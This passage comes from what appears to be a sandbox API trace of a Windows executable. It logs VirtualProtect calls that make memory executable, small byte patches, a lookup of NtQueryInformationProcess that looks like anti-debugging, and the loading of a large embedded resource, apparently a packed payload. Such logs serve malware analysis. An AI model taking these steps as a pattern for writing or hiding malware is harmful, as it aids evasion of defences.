pbstrOut=0x18f68c) returned 0x0 [0048.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0a4, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x666ce4, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b074, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.563] GetUserDefaultLCID () returned 0x409 [0048.563] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.563] GetUserDefaultLCID () returned 0x409 [0048.563] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.563] VirtualProtect (in: lpAddress=0x241ca0, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.564] RtlMoveMemory (in: Destination=0x241ca0, Source=0x18f6c8, Length=0x1 | out: Destination=0x241ca0) [0048.564] GetLastError () returned 0x0 [0048.564] RtlMoveMemory (in: Destination=0x241ca1, Source=0x18f6c4, Length=0x4 | out: Destination=0x241ca1) [0048.564] GetLastError () returned 0x0 [0048.564] LoadStringW (in: hInstance=0x0, uID=0xac, lpBuffer=0x66ebd4, cchBufferMax=260 | out: lpBuffer="GetCurrentProcess") returned 0x11 [0048.564] SysStringLen (param_1="GetCurrentProcess") returned 0x104 [0048.564] GetLastError () returned 0x0 [0048.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentProcess", cchWideChar=260, lpMultiByteStr=0x66edec, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="GetCurrentProcess", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.565] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0048.565] GetLastError () returned 0x0 [0048.565] GetUserDefaultLCID () returned 0x409 [0048.565] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f68c) returned 0x0 [0048.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x666ce4, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b1c4, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0bc, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.565] GetUserDefaultLCID () returned 0x409 [0048.565] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.565] GetUserDefaultLCID () returned 0x409 [0048.565] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.565] VirtualProtect (in: lpAddress=0x241cb0, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.566] RtlMoveMemory (in: Destination=0x241cb0, Source=0x18f6c8, Length=0x1 | out: Destination=0x241cb0) [0048.566] GetLastError () returned 0x0 [0048.566] RtlMoveMemory (in: Destination=0x241cb1, Source=0x18f6c4, Length=0x4 | out: Destination=0x241cb1) [0048.566] GetLastError () returned 0x0 [0048.566] LoadStringW (in: hInstance=0x0, uID=0x29, lpBuffer=0x66ef04, cchBufferMax=260 | out: lpBuffer="ntdll") returned 0x5 [0048.566] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.567] GetModuleHandleW (lpModuleName="ntdll") returned 0x77c40000 [0048.567] GetLastError () returned 0x0 [0048.567] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x66f11c, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.567] SysStringLen (param_1="NtQueryInformationProcess") returned 0x104 [0048.567] GetLastError () returned 0x0 [0048.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NtQueryInformationProcess", cchWideChar=260, lpMultiByteStr=0x66f334, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="NtQueryInformationProcess", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.567] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryInformationProcess") returned 0x77c5fac8 [0048.567] GetLastError () returned 0x0 [0048.567] GetUserDefaultLCID () returned 0x409 [0048.567] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f68c) returned 0x0 [0048.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b1c4, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b074, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0a4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.568] GetUserDefaultLCID () returned 0x409 [0048.568] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.568] GetUserDefaultLCID () returned 0x409 [0048.568] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.568] VirtualProtect (in: lpAddress=0x241cc0, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.569] RtlMoveMemory (in: Destination=0x241cc0, Source=0x18f6c8, Length=0x1 | out: Destination=0x241cc0) [0048.569] GetLastError () returned 0x0 [0048.569] RtlMoveMemory (in: Destination=0x241cc1, Source=0x18f6c4, Length=0x4 | out: Destination=0x241cc1) [0048.569] GetLastError () returned 0x0 [0048.569] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x66f464, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.569] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.569] GetModuleHandleW (lpModuleName="NtQueryInformationProcess") returned 0x0 [0048.569] GetLastError () returned 0x7e [0048.569] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x66f68c, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.569] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.570] GetModuleHandleW (lpModuleName="NtQueryInformationProcess") returned 0x0 [0048.570] GetLastError () returned 0x7e [0048.570] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x66f8b4, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.570] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.570] GetModuleHandleW (lpModuleName="NtQueryInformationProcess") returned 0x0 [0048.570] GetLastError () returned 0x7e [0048.570] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x66fadc, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.570] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.570] GetModuleHandleW (lpModuleName="NtQueryInformationProcess") returned 0x0 [0048.570] GetLastError () returned 0x7e [0048.570] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x66fd04, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.570] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.571] GetModuleHandleW (lpModuleName="NtQueryInformationProcess") returned 0x0 [0048.571] GetLastError () returned 0x7e [0048.571] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x66ff2c, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.571] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.571] GetModuleHandleW (lpModuleName="NtQueryInformationProcess") returned 0x0 [0048.571] GetLastError () returned 0x7e [0048.571] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x670154, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.571] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.571] GetModuleHandleW (lpModuleName="NtQueryInformationProcess") returned 0x0 [0048.571] GetLastError () returned 0x7e [0048.571] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x67037c, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.571] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.571] GetModuleHandleW (lpModuleName="NtQueryInformationProcess") returned 0x0 [0048.571] GetLastError () returned 0x7e [0048.571] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x6705a4, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.571] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.572] GetModuleHandleW (lpModuleName="NtQueryInformationProcess") returned 0x0 [0048.572] GetLastError () returned 0x7e [0048.572] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x6707cc, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.572] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.572] GetModuleHandleW (lpModuleName="NtQueryInformationProcess") returned 0x0 [0048.572] GetLastError () returned 0x7e [0048.572] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x6709f4, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.572] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.572] GetModuleHandleW (lpModuleName="NtQueryInformationProcess") returned 0x0 [0048.572] GetLastError () returned 0x7e [0048.572] LoadStringW (in: hInstance=0x0, uID=0x2a, lpBuffer=0x670c1c, cchBufferMax=260 | out: lpBuffer="NtQueryInformationProcess") returned 0x19 [0048.572] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.573] GetModuleHandleW (lpModuleName="NtQueryInformationProcess") returned 0x0 [0048.573] GetLastError () returned 0x7e [0048.573] VarFormat (in: pvarIn=0x18f894, pstrFormat="Currency", iFirstDay=1, iFirstWeek=1, dwFlags=0x0, pbstrOut=0x18f778 | out: pbstrOut=0x18f778*="$0.00") returned 0x0 [0048.573] GetUserDefaultLCID () returned 0x409 [0048.573] GetUserDefaultLCID () returned 0x409 [0048.574] GetUserDefaultLCID () returned 0x409 [0048.575] RtlMoveMemory (in: Destination=0x241bf0, Source=0x18f7ec, Length=0x4 | out: Destination=0x241bf0) [0048.575] GetLastError () returned 0x0 [0048.575] GetLocalTime (in: lpSystemTime=0x18f764 | out: lpSystemTime=0x18f764*(wYear=0x7e4, wMonth=0xb, wDayOfWeek=0x4, wDay=0x13, wHour=0x6, wMinute=0x2e, wSecond=0xb, wMilliseconds=0x291)) [0048.575] VarDateFromUdate (in: pudateIn=0x18f788, dwFlags=0x0, pdateOut=0x18f764 | out: pdateOut=0x18f764) returned 0x0 [0048.576] VarUdateFromDate (in: dateIn=0x0, dwFlags=0x401c0000, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0048.576] VarUdateFromDate (in: dateIn=0x6bb5aa5, dwFlags=0x40e58f49, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0048.577] GetUserDefaultLCID () returned 0x409 [0048.577] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="y", cchSrc=1, lpDestStr=0x18f6d6, cchDest=1 | out: lpDestStr="yy") returned 1 [0048.577] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="y", cchSrc=1, lpDestStr=0x18f6d6, cchDest=1 | out: lpDestStr="yy") returned 1 [0048.577] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="y", cchSrc=1, lpDestStr=0x18f6d6, cchDest=1 | out: lpDestStr="yy") returned 1 [0048.577] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="y", cchSrc=1, lpDestStr=0x18f6d6, cchDest=1 | out: lpDestStr="yy") returned 1 [0048.577] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="y", cchSrc=1, lpDestStr=0x18f6d6, cchDest=1 | out: lpDestStr="yy") returned 1 [0048.577] GetLocalTime (in: lpSystemTime=0x18f764 | out: lpSystemTime=0x18f764*(wYear=0x7e4, wMonth=0xb, wDayOfWeek=0x4, wDay=0x13, wHour=0x6, wMinute=0x2e, wSecond=0xb, wMilliseconds=0x291)) [0048.577] VarDateFromUdate (in: pudateIn=0x18f788, dwFlags=0x0, pdateOut=0x18f764 | out: pdateOut=0x18f764) returned 0x0 [0048.577] VarUdateFromDate (in: dateIn=0x6bb5aa5, dwFlags=0x40e58f49, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0048.577] VarUdateFromDate (in: dateIn=0x0, dwFlags=0x401c0000, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0048.577] GetLocalTime (in: lpSystemTime=0x18f730 | out: lpSystemTime=0x18f730*(wYear=0x7e4, wMonth=0xb, wDayOfWeek=0x4, wDay=0x13, wHour=0x6, wMinute=0x2e, wSecond=0xb, wMilliseconds=0x291)) [0048.577] VarDateFromUdate (in: pudateIn=0x18f754, dwFlags=0x0, pdateOut=0x18f730 | out: pdateOut=0x18f730) returned 0x0 [0048.577] VarUdateFromDate (in: dateIn=0x0, dwFlags=0x401c0000, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0048.577] VarDateFromUdate (in: pudateIn=0x18f77c, dwFlags=0x0, pdateOut=0x18f758 | out: pdateOut=0x18f758) returned 0x0 [0048.577] VarCmp (pvarLeft=0x18f894, pvarRight=0x18f824, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.577] RtlMoveMemory (in: Destination=0x241bf4, Source=0x18f7f0, Length=0x1 | out: Destination=0x241bf4) [0048.577] GetLastError () returned 0x0 [0048.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="chris", cchWideChar=-1, lpMultiByteStr=0x18f834, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chris", lpUsedDefaultChar=0x0) returned 6 [0048.578] GetUserDefaultLCID () returned 0x409 [0048.578] FindResourceExA (hModule=0x400000, lpType=0x15, lpName="chris", wLanguage=0x409) returned 0x47e1c8 [0048.578] LoadResource (hModule=0x400000, hResInfo=0x47e1c8) returned 0x47e9a8 [0048.578] SizeofResource (hModule=0x400000, hResInfo=0x47e1c8) returned 0xa600 [0048.578] LockResource (hResData=0x47e9a8) returned 0x47e9a8 [0048.579] SafeArrayAccessData (in: psa=0x673470, ppvData=0x18f854 | out: ppvData=0x18f854) returned 0x0 [0048.579] SafeArrayUnaccessData (psa=0x673470) returned 0x0 [0048.579] SafeArrayCopy (in: psa=0x673470, ppsaOut=0x18f9e0 | out: ppsaOut=0x18f9e0) returned 0x0 [0048.580] SelectObject (hdc=0x462101b3, h=0x18a002e) returned 0xe0a0996 [0048.580] DeleteObject (ho=0xe0a0996) returned 1 [0048.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Arial", cchWideChar=-1, lpMultiByteStr=0x18f588, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Arial", lpUsedDefaultChar=0x0) returned 6 [0048.580] lstrlenA (lpString="Arial") returned 5 [0048.580] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x6) returned 0x266e238 [0048.580] lstrcpyA (in: lpString1=0x266e238, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0048.580] GetDeviceCaps (hdc=0x462101b3, index=90) returned 600 [0048.580] CreateFontIndirectA (lplf=0x18f5b4) returned 0xf0a0996 [0048.580] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x266e238 | out: hHeap=0x2650000) returned 1 [0048.580] SelectObject (hdc=0x462101b3, h=0xf0a0996) returned 0x18a002e [0048.580] GetTextMetricsA (in: hdc=0x462101b3, lptm=0x18f624 | out: lptm=0x18f624) returned 1 [0048.580] GetDeviceCaps (hdc=0x462101b3, index=90) returned 600 [0048.581] GetDeviceCaps (hdc=0x462101b3, index=10) returned 6250 [0048.581] SelectObject (hdc=0x462101b3, h=0x18a002e) returned 0xf0a0996 [0048.581] DeleteObject (ho=0xf0a0996) returned 1 [0048.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Arial", cchWideChar=-1, lpMultiByteStr=0x18f588, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Arial", lpUsedDefaultChar=0x0) returned 6 [0048.581] lstrlenA (lpString="Arial") returned 5 [0048.581] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x6) returned 0x266e238 [0048.581] lstrcpyA (in: lpString1=0x266e238, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0048.581] GetDeviceCaps (hdc=0x462101b3, index=90) returned 600 [0048.581] CreateFontIndirectA (lplf=0x18f5b4) returned 0x100a0996 [0048.581] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x266e238 | out: hHeap=0x2650000) returned 1 [0048.581] SelectObject (hdc=0x462101b3, h=0x100a0996) returned 0x18a002e [0048.581] GetTextMetricsA (in: hdc=0x462101b3, lptm=0x18f624 | out: lptm=0x18f624) returned 1 [0048.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0048.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x666ccc, cchWideChar=1 | out: lpWideCharStr="\x02") returned 1 [0048.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="\x03") returned 1 [0048.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="\x04") returned 1 [0048.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x666ccc, cchWideChar=1 | out: lpWideCharStr="\x05") returned 1 [0048.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="\x06") returned 1 [0048.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b324, cchWideChar=1 | out: lpWideCharStr="\x07") returned 1 [0048.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x08") returned 1 [0048.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="\x09") returned 1 [0048.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b324, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0048.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x0b") returned 1 [0048.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="\x0c") returned 1 [0048.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b324, cchWideChar=1 | out: lpWideCharStr="\r") returned 1 [0048.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x0e") returned 1 [0048.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x0f") returned 1 [0048.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x10") returned 1 [0048.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x11") returned 1 [0048.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x12") returned 1 [0048.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x13") returned 1 [0048.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x14") returned 1 [0048.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x15") returned 1 [0048.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x16") returned 1 [0048.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x17") returned 1 [0048.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x18") returned 1 [0048.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x19") returned 1 [0048.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x1a") returned 1 [0048.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x1b") returned 1 [0048.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x1c") returned 1 [0048.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x1d") returned 1 [0048.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x1e") returned 1 [0048.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x1f") returned 1 [0048.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0048.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="!") returned 1 [0048.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0048.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="#") returned 1 [0048.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="$") returned 1 [0048.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="%") returned 1 [0048.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0048.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0048.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: 